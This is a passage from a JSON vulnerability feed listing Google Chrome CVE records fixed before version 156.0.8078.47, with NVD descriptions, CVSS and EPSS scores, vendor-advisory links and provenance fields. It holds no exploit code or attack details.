CVE-2026-113238","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113238","type":"primary","publishedAt":"2026-10-20T22:19:17.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113238&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113238, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113236","cveId":"CVE-2026-113236","aliases":[],"kind":"vulnerability","title":"Use after free in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:16.980Z","updatedAt":"2026-10-22T14:04:17.467Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113236","asOf":"2026-10-22T14:04:17.467Z"},"epss":{"probability":0.00443,"percentile":0.38241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113236&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113236","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113236","type":"primary","publishedAt":"2026-10-20T22:19:16.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113236&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113236, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113234","cveId":"CVE-2026-113234","aliases":[],"kind":"vulnerability","title":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:16.747Z","updatedAt":"2026-10-22T14:04:29.243Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113234","asOf":"2026-10-22T14:04:29.243Z"},"epss":{"probability":0.00417,"percentile":0.35718,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113234&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113234","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113234","type":"primary","publishedAt":"2026-10-20T22:19:16.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113234&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113234, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113233","cveId":"CVE-2026-113233","aliases":[],"kind":"vulnerability","title":"Out of bounds read in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Out of bounds read in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Out of bounds read in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:16.633Z","updatedAt":"2026-10-22T14:04:35.290Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113233","asOf":"2026-10-22T14:04:35.290Z"},"epss":{"probability":0.00417,"percentile":0.35718,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113233&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113233","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113233","type":"primary","publishedAt":"2026-10-20T22:19:16.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113233&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113233, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113232","cveId":"CVE-2026-113232","aliases":[],"kind":"vulnerability","title":"Memory corruption in Search in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Search in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Search in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:16.533Z","updatedAt":"2026-10-22T14:04:40.797Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113232","asOf":"2026-10-22T14:04:40.797Z"},"epss":{"probability":0.00417,"percentile":0.35725,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113232&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113232","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113232","type":"primary","publishedAt":"2026-10-20T22:19:16.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113232&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113232, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113231","cveId":"CVE-2026-113231","aliases":[],"kind":"vulnerability","title":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:16.413Z","updatedAt":"2026-10-22T14:04:46.027Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113231","asOf":"2026-10-22T14:04:46.027Z"},"epss":{"probability":0.0038,"percentile":0.3171,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113231&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113231","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113231","type":"primary","publishedAt":"2026-10-20T22:19:16.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113231&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113231, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113230","cveId":"CVE-2026-113230","aliases":[],"kind":"vulnerability","title":"Improper input validation in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Improper input validation in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:16.300Z","updatedAt":"2026-10-22T14:04:52.570Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113230","asOf":"2026-10-22T14:04:52.570Z"},"epss":{"probability":0.00528,"percentile":0.44388,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113230&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113230","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113230","type":"primary","publishedAt":"2026-10-20T22:19:16.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113230&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113230, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113229","cveId":"CVE-2026-113229","aliases":[],"kind":"vulnerability","title":"Use after free in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:16.193Z","updatedAt":"2026-10-22T14:04:58.577Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113229","asOf":"2026-10-22T14:04:58.577Z"},"epss":{"probability":0.00417,"percentile":0.35722,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113229&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113229","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113229","type":"primary","publishedAt":"2026-10-20T22:19:16.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113229&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113229, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113228","cveId":"CVE-2026-113228","aliases":[],"kind":"vulnerability","title":"Use after free in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:16.083Z","updatedAt":"2026-10-22T14:05:04.390Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113228","asOf":"2026-10-22T14:05:04.390Z"},"epss":{"probability":0.00337,"percentile":0.26848,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113228&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113228","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113228","type":"primary","publishedAt":"2026-10-20T22:19:16.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113228&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113228, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113227","cveId":"CVE-2026-113227","aliases":[],"kind":"vulnerability","title":"Use after free in Editing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Editing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Editing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:15.973Z","updatedAt":"2026-10-22T14:05:09.467Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113227","asOf":"2026-10-22T14:05:09.467Z"},"epss":{"probability":0.00406,"percentile":0.34608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113227&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113227","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113227","type":"primary","publishedAt":"2026-10-20T22:19:15.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113227&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113227, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113226","cveId":"CVE-2026-113226","aliases":[],"kind":"vulnerability","title":"Memory corruption in Model in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Model in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Model in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:15.870Z","updatedAt":"2026-10-22T14:05:16.893Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113226","asOf":"2026-10-22T14:05:16.893Z"},"epss":{"probability":0.00417,"percentile":0.35719,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113226&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113226","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113226","type":"primary","publishedAt":"2026-10-20T22:19:15.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113226&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113226, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113221","cveId":"CVE-2026-113221","aliases":[],"kind":"vulnerability","title":"Use after free in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: 